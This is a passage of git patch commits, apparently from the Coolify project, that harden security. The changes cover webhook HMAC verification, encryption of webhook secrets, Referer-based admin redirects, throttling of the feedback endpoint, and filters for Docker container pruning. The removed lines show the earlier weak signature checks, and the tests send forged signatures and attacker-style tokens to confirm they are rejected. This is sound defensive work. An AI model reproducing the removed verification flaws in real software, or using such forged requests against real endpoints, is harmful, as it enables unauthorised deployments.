$this->projectB->uuid)->first(); + $environment = $project->load(['environments'])->environments->where('uuid', $this->environmentB->uuid)->first(); + + $application = Application::create([ + 'name' => 'team-scope-test-canary', + 'repository_project_id' => 0, + 'git_repository' => 'coollabsio/coolify', + 'git_branch' => 'main', + 'build_pack' => 'dockerfile', + 'dockerfile' => "FROM alpine\nCMD echo hello", + 'ports_exposes' => 80, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'health_check_enabled' => false, + 'source_id' => 0, + 'source_type' => GithubApp::class, + ]); + + expect($application->environment_id)->toBe($this->environmentB->id) + ->and($application->destination_id)->toBe($this->destinationB->id) + ->and($application->environment->project->team->id)->toBe($this->teamB->id) + ->and($application->environment->project->team->id)->not->toBe($this->teamA->id); +}); + +test('resource creation page loads with another teams project UUID', function () { + $response = $this->get(route('project.resource.create', [ + 'project_uuid' => $this->projectB->uuid, + 'environment_uuid' => $this->environmentB->uuid, + ])); + + expect($response->status())->not->toBe(403); +}); From f77cc91b831b3f73ff06278152f5decc3ccf3006 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 11:55:36 +0200 Subject: [PATCH 037/329] refactor(admin): use named routes for admin index navigation Replace Referer-based redirects in Admin Index back() and switchUser() with named routes (admin.index and dashboard) for consistent navigation behavior independent of the request header. Add tests verifying back() returns to admin.index, switchUser routes to the dashboard, and the Referer header is no longer consulted. --- app/Livewire/Admin/Index.php | 4 +- .../Feature/AdminAccessAuthorizationTest.php | 47 +++++++++++++++++-- 2 files changed, 46 insertions(+), 5 deletions(-) diff --git a/app/Livewire/Admin/Index.php b/app/Livewire/Admin/Index.php index d1345e7bf..4d22047cc 100644 --- a/app/Livewire/Admin/Index.php +++ b/app/Livewire/Admin/Index.php @@ -37,7 +37,7 @@ public function back() Auth::login($user); refreshSession($team_to_switch_to); - return redirect(request()->header('Referer')); + return redirect()->route('admin.index'); } } @@ -70,7 +70,7 @@ public function switchUser(int $user_id) Auth::login($user); refreshSession($team_to_switch_to); - return redirect(request()->header('Referer')); + return redirect()->route('dashboard'); } private function authorizeAdminAccess(): void diff --git a/tests/Feature/AdminAccessAuthorizationTest.php b/tests/Feature/AdminAccessAuthorizationTest.php index 4840bc4dd..97895ecda 100644 --- a/tests/Feature/AdminAccessAuthorizationTest.php +++ b/tests/Feature/AdminAccessAuthorizationTest.php @@ -1,6 +1,7 @@ set('constants.coolify.self_hosted', false); - $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0])); $rootUser = User::factory()->create(['id' => 0]); - $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + $rootTeam = Team::find(0); $targetUser = User::factory()->create(); $targetTeam = Team::factory()->create(); @@ -84,7 +85,47 @@ Livewire::test(AdminIndex::class) ->assertOk() ->call('switchUser', $targetUser->id) - ->assertRedirect(); + ->assertRedirect(route('dashboard')); +}); + +test('back() redirects impersonator to admin index and clears session', function () { + config()->set('constants.coolify.self_hosted', false); + + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0])); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam = Team::find(0); + + $this->actingAs($rootUser); + session([ + 'currentTeam' => ['id' => $rootTeam->id], + 'impersonating' => true, + ]); + + Livewire::test(AdminIndex::class) + ->call('back') + ->assertRedirect(route('admin.index')); + + expect(session('impersonating'))->toBeNull(); +}); + +test('switchUser ignores Referer header and uses dashboard route', function () { + config()->set('constants.coolify.self_hosted', false); + + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0])); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam = Team::find(0); + + $targetUser = User::factory()->create(); + $targetTeam = Team::factory()->create(); + $targetTeam->members()->attach($targetUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::withHeaders(['Referer' => 'https://example.com/elsewhere']) + ->test(AdminIndex::class) + ->call('switchUser', $targetUser->id) + ->assertRedirect(route('dashboard')); }); test('switchUser rejects non-root user', function () { From bafb9a5a8baf8518a5b9c1cda59f158f5e726436 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 12:52:23 +0200 Subject: [PATCH 038/329] refactor(webhook): encrypt manual webhook secrets and tighten HMAC verification - Auto-generate a 40-char random secret for each manual_webhook_secret_* column on Application creation so new apps are never left with an empty secret. - Add encrypted cast for the four webhook-secret columns; backfill migration re-encrypts existing plaintext values and fills missing ones. - Reject webhook deliveries when the stored secret is empty (GitHub, GitLab, Bitbucket, Gitea manual endpoints). - Bitbucket: require the sha256 algorithm prefix on X-Hub-Signature instead of trusting the client-supplied algo. - GitLab: drop the ?? '' fallback on the token comparison. Co-Authored-By: Claude Opus 4.7 --- app/Http/Controllers/Webhook/Bitbucket.php | 23 +- app/Http/Controllers/Webhook/Gitea.php | 9 + app/Http/Controllers/Webhook/Github.php | 9 + app/Http/Controllers/Webhook/Gitlab.php | 11 +- app/Models/Application.php | 23 +- ...0_backfill_and_encrypt_webhook_secrets.php | 59 +++ tests/Feature/Webhook/WebhookHmacTest.php | 338 ++++++++++++++++++ 7 files changed, 464 insertions(+), 8 deletions(-) create mode 100644 database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php create mode 100644 tests/Feature/Webhook/WebhookHmacTest.php diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index 183186711..ffa71b55a 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -57,10 +57,29 @@ public function manual(Request $request) } foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_bitbucket'); + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } $payload = $request->getContent(); - [$algo, $hash] = explode('=', $x_bitbucket_token, 2); - $payloadHash = hash_hmac($algo, $payload, $webhook_secret); + $parts = explode('=', $x_bitbucket_token, 2); + if (count($parts) !== 2 || $parts[0] !== 'sha256') { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Invalid signature.', + ]); + + continue; + } + $hash = $parts[1]; + $payloadHash = hash_hmac('sha256', $payload, $webhook_secret); if (! hash_equals($hash, $payloadHash) && ! isDev()) { $return_payloads->push([ 'application' => $application->name, diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index a9d65eae6..62adf5410 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -67,6 +67,15 @@ public function manual(Request $request) } foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_gitea'); + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret); if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) { $return_payloads->push([ diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index fe49369ea..4158016d0 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -81,6 +81,15 @@ public function manual(Request $request) foreach ($applicationsByServer as $serverId => $serverApplications) { foreach ($serverApplications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_github'); + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret); if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) { $return_payloads->push([ diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index 08e5d7162..4453a0e7a 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -100,7 +100,16 @@ public function manual(Request $request) } foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_gitlab'); - if (! hash_equals($webhook_secret ?? '', $x_gitlab_token ?? '')) { + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } + if (! hash_equals($webhook_secret, $x_gitlab_token ?? '')) { $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', diff --git a/app/Models/Application.php b/app/Models/Application.php index fef6f6e4c..85e94bfd6 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -215,14 +215,27 @@ class Application extends BaseModel protected $appends = ['server_status']; - protected $casts = [ - 'http_basic_auth_password' => 'encrypted', - 'restart_count' => 'integer', - 'last_restart_at' => 'datetime', - ]; + protected function casts(): array + { + return [ + 'http_basic_auth_password' => 'encrypted', + 'manual_webhook_secret_github' => 'encrypted', + 'manual_webhook_secret_gitlab' => 'encrypted', + 'manual_webhook_secret_bitbucket' => 'encrypted', + 'manual_webhook_secret_gitea' => 'encrypted', + 'restart_count' => 'integer', + 'last_restart_at' => 'datetime', + ]; + } protected static function booted() { + static::creating(function ($application) { + $application->manual_webhook_secret_github ??= Str::random(40); + $application->manual_webhook_secret_gitlab ??= Str::random(40); + $application->manual_webhook_secret_bitbucket ??= Str::random(40); + $application->manual_webhook_secret_gitea ??= Str::random(40); + }); static::addGlobalScope('withRelations', function ($builder) { $builder->withCount([ 'additional_servers', diff --git a/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php b/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php new file mode 100644 index 000000000..47ee6e30a --- /dev/null +++ b/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php @@ -0,0 +1,59 @@ +text($col)->nullable()->change(); + } + }); + + try { + DB::table('applications')->chunkById(100, function ($apps) use ($columns) { + foreach ($apps as $app) { + $updates = []; + foreach ($columns as $col) { + $current = $app->{$col}; + + if (empty($current)) { + $updates[$col] = Crypt::encryptString(Str::random(40)); + + continue; + } + + try { + Crypt::decryptString($current); + + continue; + } catch (Exception) { + // Not encrypted yet + } + + $updates[$col] = Crypt::encryptString($current); + } + if ($updates !== []) { + DB::table('applications')->where('id', $app->id)->update($updates); + } + } + }); + } catch (Exception $e) { + echo 'Backfilling and encrypting webhook secrets failed.'; + echo $e->getMessage(); + } + } +} diff --git a/tests/Feature/Webhook/WebhookHmacTest.php b/tests/Feature/Webhook/WebhookHmacTest.php new file mode 100644 index 000000000..a06e85309 --- /dev/null +++ b/tests/Feature/Webhook/WebhookHmacTest.php @@ -0,0 +1,338 @@ +create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $server = Server::factory()->create(['team_id' => $team->id]); + $destination = $server->standaloneDockers()->firstOrFail(); + + return Application::create(array_merge([ + 'name' => 'webhook-test-app', + 'git_repository' => "https://github.com/{$repo}", + 'git_branch' => $branch, + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ], $overrides)); +} + +describe('GitHub Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_github' => null, + ]); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [ + 'HTTP_X-GitHub-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with forged hash', function () { + $app = createApplicationWithWebhook(); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [ + 'HTTP_X-GitHub-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid hash', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_github; + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $hmac = hash_hmac('sha256', $payload, $secret); + + $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [ + 'HTTP_X-GitHub-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => "sha256={$hmac}", + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('GitLab Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_gitlab' => null, + ]); + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/main', + 'project' => ['path_with_namespace' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => 'attacker-supplied-token', + ]); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with wrong token', function () { + $app = createApplicationWithWebhook(); + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/main', + 'project' => ['path_with_namespace' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => 'wrong-token', + ]); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid token', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_gitlab; + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/main', + 'project' => ['path_with_namespace' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => $secret, + ]); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('Bitbucket Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_bitbucket' => null, + ]); + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => 'sha256='.hash_hmac('sha256', $payload, ''), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with non-sha256 algorithm', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_bitbucket; + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => 'sha1='.hash_hmac('sha1', $payload, $secret), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('rejects push with forged hash', function () { + $app = createApplicationWithWebhook(); + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid sha256 hash', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_bitbucket; + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $hmac = hash_hmac('sha256', $payload, $secret); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => "sha256={$hmac}", + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('Gitea Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_gitea' => null, + ]); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [ + 'HTTP_X-Gitea-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with forged hash', function () { + $app = createApplicationWithWebhook(); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [ + 'HTTP_X-Gitea-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid hash', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_gitea; + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $hmac = hash_hmac('sha256', $payload, $secret); + + $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [ + 'HTTP_X-Gitea-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => "sha256={$hmac}", + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('Webhook Secret Auto-Generation', function () { + test('auto-generates webhook secrets on application creation', function () { + $app = createApplicationWithWebhook(); + + expect($app->manual_webhook_secret_github)->not->toBeEmpty(); + expect($app->manual_webhook_secret_gitlab)->not->toBeEmpty(); + expect($app->manual_webhook_secret_bitbucket)->not->toBeEmpty(); + expect($app->manual_webhook_secret_gitea)->not->toBeEmpty(); + expect(strlen($app->manual_webhook_secret_github))->toBe(40); + expect(strlen($app->manual_webhook_secret_gitlab))->toBe(40); + expect(strlen($app->manual_webhook_secret_bitbucket))->toBe(40); + expect(strlen($app->manual_webhook_secret_gitea))->toBe(40); + }); + + test('encrypts webhook secrets at rest', function () { + $app = createApplicationWithWebhook(); + $plaintext = $app->manual_webhook_secret_github; + + $raw = DB::table('applications')->where('id', $app->id)->first(); + + expect($raw->manual_webhook_secret_github)->not->toBe($plaintext); + expect($app->manual_webhook_secret_github)->toBe($plaintext); + }); +}); From e7bbd45408f97e9c2703c6c66c91cc758aa04905 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 14:41:47 +0200 Subject: [PATCH 039/329] refactor(api): validate and throttle feedback endpoint - Validate content (required string, min:10, max:2000) in OtherController@feedback - Register 'feedback' named rate limiter (3/min per user or IP) in RouteServiceProvider - Apply throttle:feedback middleware to POST /api/feedback - Forward to Discord with allowed_mentions.parse=[] and a 5s HTTP timeout Co-Authored-By: Claude Opus 4.7 --- app/Http/Controllers/Api/OtherController.php | 10 +- app/Providers/RouteServiceProvider.php | 4 + routes/api.php | 5 +- tests/Feature/FeedbackEndpointTest.php | 96 ++++++++++++++++++++ 4 files changed, 110 insertions(+), 5 deletions(-) create mode 100644 tests/Feature/FeedbackEndpointTest.php diff --git a/app/Http/Controllers/Api/OtherController.php b/app/Http/Controllers/Api/OtherController.php index 8f2ba25c8..49468b597 100644 --- a/app/Http/Controllers/Api/OtherController.php +++ b/app/Http/Controllers/Api/OtherController.php @@ -147,11 +147,15 @@ public function disable_api(Request $request) public function feedback(Request $request) { - $content = $request->input('content'); + $data = $request->validate([ + 'content' => ['required', 'string', 'min:10', 'max:2000'], + ]); + $webhook_url = config('constants.webhooks.feedback_discord_webhook'); if ($webhook_url) { - Http::post($webhook_url, [ - 'content' => $content, + Http::timeout(5)->post($webhook_url, [ + 'content' => $data['content'], + 'allowed_mentions' => ['parse' => []], ]); } diff --git a/app/Providers/RouteServiceProvider.php b/app/Providers/RouteServiceProvider.php index 2150126cd..4068572c8 100644 --- a/app/Providers/RouteServiceProvider.php +++ b/app/Providers/RouteServiceProvider.php @@ -54,5 +54,9 @@ protected function configureRateLimiting(): void RateLimiter::for('5', function (Request $request) { return Limit::perMinute(5)->by($request->user()?->id ?: $request->ip()); }); + + RateLimiter::for('feedback', function (Request $request) { + return Limit::perMinute(3)->by($request->user()?->id ?: $request->ip()); + }); } } diff --git a/routes/api.php b/routes/api.php index 0d3edcced..161d08c13 100644 --- a/routes/api.php +++ b/routes/api.php @@ -26,7 +26,8 @@ Route::get('/health', [OtherController::class, 'healthcheck']); }); -Route::post('/feedback', [OtherController::class, 'feedback']); +Route::post('/feedback', [OtherController::class, 'feedback']) + ->middleware('throttle:feedback'); Route::group([ 'middleware' => ['auth:sanctum', 'api.ability:write'], @@ -218,7 +219,7 @@ try { $decrypted = decrypt($naked_token); $decrypted_token = json_decode($decrypted, true); - } catch (\Exception $e) { + } catch (Exception $e) { return response()->json(['message' => 'Invalid token'], 401); } $server_uuid = data_get($decrypted_token, 'server_uuid'); diff --git a/tests/Feature/FeedbackEndpointTest.php b/tests/Feature/FeedbackEndpointTest.php new file mode 100644 index 000000000..a2c603def --- /dev/null +++ b/tests/Feature/FeedbackEndpointTest.php @@ -0,0 +1,96 @@ + Http::response([], 204), + ]); +}); + +it('rejects feedback with missing content', function () { + $response = $this->postJson('/api/feedback', []); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('rejects feedback with content too short', function () { + $response = $this->postJson('/api/feedback', ['content' => 'short']); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('rejects feedback with content too long', function () { + $response = $this->postJson('/api/feedback', ['content' => str_repeat('a', 2001)]); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('rejects feedback with non-string content', function () { + $response = $this->postJson('/api/feedback', ['content' => ['array', 'value']]); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('accepts valid feedback and forwards to discord with mentions disabled', function () { + config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test'); + + $response = $this->postJson('/api/feedback', [ + 'content' => 'This is a valid feedback message for testing purposes.', + ]); + + $response->assertStatus(200) + ->assertJson(['message' => 'Feedback sent.']); + + Http::assertSent(function ($request) { + return $request->url() === 'https://discord.com/api/webhooks/test' + && $request['content'] === 'This is a valid feedback message for testing purposes.' + && $request['allowed_mentions'] === ['parse' => []]; + }); +}); + +it('does not forward to discord when webhook url is not configured', function () { + config()->set('constants.webhooks.feedback_discord_webhook', null); + + $response = $this->postJson('/api/feedback', [ + 'content' => 'This is a valid feedback message for testing purposes.', + ]); + + $response->assertStatus(200); + + Http::assertNothingSent(); +}); + +it('throttles feedback endpoint after 3 requests per minute', function () { + config()->set('constants.webhooks.feedback_discord_webhook', null); + + for ($i = 0; $i < 3; $i++) { + $response = $this->postJson('/api/feedback', [ + 'content' => "Valid feedback message number {$i} for testing.", + ]); + $response->assertStatus(200); + } + + $response = $this->postJson('/api/feedback', [ + 'content' => 'This fourth request should be throttled.', + ]); + $response->assertStatus(429); +}); + +it('disables discord mention parsing regardless of content', function () { + config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test'); + + $response = $this->postJson('/api/feedback', [ + 'content' => 'User feedback includes an @everyone style phrase and a link https://example.com for reference.', + ]); + + $response->assertStatus(200); + + Http::assertSent(function ($request) { + return $request['allowed_mentions'] === ['parse' => []]; + }); +}); From 233f06385010bd3f13e1b3d6545315f8789f60b3 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 14:46:42 +0200 Subject: [PATCH 040/329] refactor(help): cap feedback subject length to 255 characters Keep composed feedback payload within the server-side 2000-char budget (prefix ~56 + email 255 + subject 255 + description 1000 = 1566). Co-Authored-By: Claude Opus 4.7 --- app/Livewire/Help.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/Livewire/Help.php b/app/Livewire/Help.php index 490515875..2786ae703 100644 --- a/app/Livewire/Help.php +++ b/app/Livewire/Help.php @@ -15,7 +15,7 @@ class Help extends Component #[Validate(['required', 'min:10', 'max:1000'])] public string $description; - #[Validate(['required', 'min:3'])] + #[Validate(['required', 'min:3', 'max:255'])] public string $subject; public function submit() From 434f91f83c2f05d6992254753a6d8510da12c762 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 14:48:34 +0200 Subject: [PATCH 041/329] refactor(help): raise feedback subject cap to 600 characters Align composed payload size with the 2000-char backend budget (prefix ~56 + email 255 + subject 600 + description 1000 = 1911). Co-Authored-By: Claude Opus 4.7 --- app/Livewire/Help.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/Livewire/Help.php b/app/Livewire/Help.php index 2786ae703..421e50bcc 100644 --- a/app/Livewire/Help.php +++ b/app/Livewire/Help.php @@ -15,7 +15,7 @@ class Help extends Component #[Validate(['required', 'min:10', 'max:1000'])] public string $description; - #[Validate(['required', 'min:3', 'max:255'])] + #[Validate(['required', 'min:3', 'max:600'])] public string $subject; public function submit() From 0620496c5fc527b9f2fe810c7e9014e8244d510a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 15:17:47 +0200 Subject: [PATCH 042/329] fix(server): exclude persistent resources from container prune Prevent docker container prune from removing containers labeled as database, application, or service types. Previously only proxy containers were excluded, risking accidental cleanup of active resources. --- app/Actions/Server/CleanupDocker.php | 2 +- tests/Unit/Actions/Server/CleanupDockerTest.php | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 0d9ca0153..98cce088b 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -48,7 +48,7 @@ public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $ ); $commands = [ - 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true"', + 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true" --filter "label!=coolify.type=database" --filter "label!=coolify.type=application" --filter "label!=coolify.type=service"', $imagePruneCmd, 'docker builder prune -af', "docker images --filter before=$helperImageWithVersion --filter reference=$helperImage | grep $helperImage | awk '{print $3}' | xargs -r docker rmi -f", diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php index fc8b8ab9b..1a6a0d3d6 100644 --- a/tests/Unit/Actions/Server/CleanupDockerTest.php +++ b/tests/Unit/Actions/Server/CleanupDockerTest.php @@ -437,6 +437,16 @@ expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build'); }); +it('container prune excludes persistent resource types', function () { + $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php'); + + expect($sourceFile)->toContain('label!=coolify.type=database'); + expect($sourceFile)->toContain('label!=coolify.type=application'); + expect($sourceFile)->toContain('label!=coolify.type=service'); + expect($sourceFile)->toContain('label!=coolify.proxy=true'); + expect($sourceFile)->toContain('label=coolify.managed=true'); +}); + it('preserves build image for currently running tag', function () { $images = collect([ ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 